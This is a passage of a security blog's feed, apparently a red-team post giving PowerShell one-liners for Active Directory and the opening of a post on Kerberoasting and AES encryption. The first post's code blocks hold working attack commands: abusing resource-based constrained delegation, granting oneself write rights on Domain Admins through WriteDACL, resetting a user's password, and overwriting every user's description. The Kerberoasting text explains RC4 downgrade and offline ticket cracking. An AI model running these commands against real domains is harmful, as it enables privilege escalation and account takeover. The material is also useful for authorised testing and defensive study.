class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dnsByte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dnsByte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}}&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Get DACL of GPOs&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://CN=Policies,CN=System,DC=domain,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(objectCategory=groupPolicyContainer)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;displayname&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ObjectSecurity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Access&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Identify Resources-Based Constrained Delegation (RBCD)&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://DC=domain,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(msDS-AllowedToActOnBehalfOfOtherIdentity=*)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;distinguishedname&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConvertFrom-SddlString&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Security.AccessControl.RawSecurityDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;msds-allowedtoactonbehalfofotheridentity&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetSddlForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Security.AccessControl.AccessControlSections&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Access&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DiscretionaryAcl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Abuse RBCD&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$targetEntry&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=MYHOST)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=TARGETHOST)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectsid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security.AccessControl.RawSecurityDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sid&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$buf&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BinaryLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$sd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBinaryForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$targetEntry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;msDS-AllowedToActOnBehalfOfOtherIdentity&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$targetEntry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CommitChanges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Abuse WriteDACL to add oneself to the target group&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$TargetUserSid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=myuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectsid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TargetEntry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://CN=Domain Admins,CN=Users,DC=domain,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TargetEntry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PsBase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Options&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SecurityMasks&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Dacl'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TargetEntry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PsBase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ObjectSecurity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AddAccessRule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.DirectoryServices.ActiveDirectoryAccessRule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Security.Principal.IdentityReference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Security.Principal.SecurityIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TargetUserSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.DirectoryServices.ActiveDirectoryRights&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'WriteProperty'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Security.AccessControl.AccessControlType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Allow'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.DirectoryServices.ActiveDirectorySecurityInheritance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'None'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))));&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TargetEntry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PsBase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CommitChanges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755809(v%3dws.10)&quot;&gt;How Active Directory Searches Work&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The .NET Developers Guide to Directory Services Programming&lt;/li&gt;
&lt;/ul&gt;</content><author><name>dev2null</name></author><summary type="html">Introduction [adsisearcher]::new([adsi]”LDAP://domain.local/OU=MyOU,DC=Domain,DC=Local”, “(ObjectCategory=user)”).FindAll() [adsisearcher]::new([adsi]”LDAP://domain.local”, “(name=targetuser)”).FindOne().GetDirectoryEntry() [adsisearcher]::new([adsi]”LDAP://domain.local”, “(ObjectCategory=user)”).FindAll()|ForEach-Object {$entry=$_.GetDirectoryEntry();$entry.Properties[“description”].Value=”Nothing interesting here.”; $entry.CommitChanges()} [adsisearcher]::new([adsi]”LDAP://domain.local”, “(name=targetuser)”).FindOne().GetDirectoryEntry().InvokeGet(“servicePrincipalName”) [adsisearcher]::new([adsi]”LDAP://domain.local”, “(name=targetuser)”).FindOne().GetDirectoryEntry().Properties[“servicePrincipalName”] [adsisearcher]::new([adsi]”LDAP://domain.local”, “(name=targetuser)”).FindOne().GetDirectoryEntry().Invoke(“setPassword”, “newpassword”)</summary></entry><entry><title type="html">Kerberoasting: AES Encryption, Protected User Group and Group MSA</title><link href="https://dev-2null.github.io/Kerberoasting-AES-Encryption-Protected-Users-Group-and-gMSA/" rel="alternate" type="text/html" title="Kerberoasting: AES Encryption, Protected User Group and Group MSA" /><published>2020-03-20T00:00:00+00:00</published><updated>2020-03-20T00:00:00+00:00</updated><id>https://dev-2null.github.io/Kerberoasting-AES-Encryption-Protected-Users-Group-and-gMSA</id><content type="html" xml:base="https://dev-2null.github.io/Kerberoasting-AES-Encryption-Protected-Users-Group-and-gMSA/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1208/&quot;&gt;Kerberoasting&lt;/a&gt; is a type of attack targeting service accounts in Active Directory. It’s a well-known attack in the field of Active Directory security. The Kerberos Network Authentication Service (V5) specification &lt;a href=&quot;https://tools.ietf.org/html/rfc4120&quot;&gt;[RFC4120]&lt;/a&gt; also considered this kind of attack in its security consideration with recommendation:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Because a client can request a ticket for any server principal and can attempt a brute force or dictionary attack against the server principal’s key using that ticket, it is strongly encouraged that keys be randomly generated (rather than generated from passwords) for any principals that are usable as the target principal for a KRB_TGS_REQ or KRB_AS_REQ messages.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There are a lot of wonderful articles out there explaining Kerberoasting. I’ll save some time and jump into the topic. Just a brief summary for Kerberoasting as introduction. In short, domain users are able to request kerberos service tickets for any entity with a Service Principal Names (SPN), which are normally associated with computer accounts (for example, CIFS, HOST and HTTP etc). An attacker can abuse this by requesting a service ticket for a specific user account that has SPN set, and brute force the ticket offline without triggering any alarms. The resulting password of this ticket is the credential of the user account.&lt;/p&gt;

&lt;p&gt;A long and complex password for a service account with regular rotation is highly recommended to mitigate Kerberoasting. Also, I often hear people talking about enabling AES encryption to mitigate Kerbeorasting: “If we enforce service account to encrypt service ticket using AES256, the resulting ticket will not be cracked”. Enabling AES encryption is also listed in &lt;a href=&quot;https://attack.mitre.org/techniques/T1208/&quot;&gt;MITRE ATT&amp;amp;CK technique&lt;/a&gt; :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/mitre.png&quot; alt=&quot;mire&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;and &lt;a href=&quot;https://www.owasp.org/images/4/4a/OWASP_Frankfurt_-44_Kerberoasting.pdf&quot;&gt;OWASP document&lt;/a&gt; :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/kerberoasting/owasp.png&quot; alt=&quot;mire&quot; height=&quot;50%&quot; width=&quot;50%&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;as a valid mitigation method. Is that really true? Yes, and no.&lt;/p&gt;

&lt;h2 id=&quot;aes-encryption&quot;&gt;AES Encryption&lt;/h2&gt;

&lt;p&gt;Kerberoast generally targets user accounts with a SPN associated in Active Directory. This is because password for machine account is long and complex, it changes automatically every 30 days by default, which makes it hard to crack. On the contrary, user account password is set by human and tend to be less secure. In addition, the service ticket encryption level is determined by the value of an AD attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; during the TGS generation process, and this attribute has different default value set on machine account and user account.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/harmj0y&quot;&gt;@harmj0y&lt;/a&gt; has already discussed this AD attribute in his article &lt;a href=&quot;https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/&quot;&gt;Kerberos Revisited&lt;/a&gt;. &lt;em&gt;By default, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; value for computer accounts is set to 0x1C (RC4_HMAC_MD5 | AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96) according to [MS-KILE] 3.1.1.5. Service tickets for machines nearly always use AES256 as the highest mutually supported encryption type will be used in a Kerberos ticket exchange.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For user accounts, the attribute is not defined or is set to 0. The KDC will need to check another attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;userAccountControl&lt;/code&gt; to determine which encryption method should be used. If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USE_DES_KEY_ONLY&lt;/code&gt; bit is in place, only DES will be used, otherwise DES and RC4 can be used. However, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-configure-encryption-types-allowed-for-kerberos&quot;&gt;the Windows 7, Windows 10, Windows Server 2008 R2 and later operating systems do not support DES by default&lt;/a&gt;, which means RC4 will be used to encrypt the service ticket for modern systems by default.&lt;/p&gt;

&lt;p&gt;By setting “This account supports Kerberos AES 128/256 bit encryption” in Active Directory Users and Computers user properties, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; will be changed to 0x18 (AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96), which means this user account supports AES encryption only. However, harmj0y found that it is still possible to get RC4 encrypted ticket by specifying RC4 as the only supported encryption algorithm we support in the TGS request body.&lt;/p&gt;

&lt;p&gt;This is done by constructing SSPI/GSS-API for Kerberos authentication to get a usable TGT, then use this TGT to perfrom TGS-REQ and specify the encryption algorithm. The detailed information was explained in this &lt;a href=&quot;http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/&quot;&gt;article&lt;/a&gt; using Rubes with the “/tgtdeleg” flag.&lt;/p&gt;

&lt;p&gt;To sum up, this is achieved by requesting a “fake” delegation for the CIFS service on the Domain Controller. The DC, which has unconstrained delegation enabled by default, is granted complete use of the client’s identity. Thus, a forwarded TGT will be returned by the Ticket Granting Service (during the TGS exchange) for authentication forwarding. This new TGT resides in the authenticator of the resulting TGS ticket. The authenticator contains additional information in a ticket to prove that the message originated with the principal to whom the ticket was issued. The authenticator is encrypted with the session key and combined with the ticket to form an AP-REQ message. This information is then sent to the end server along with any additional application-specific information. We can simply extract this forwarded TGT using the cached session key. With this new TGT, we can request a service ticket for the target 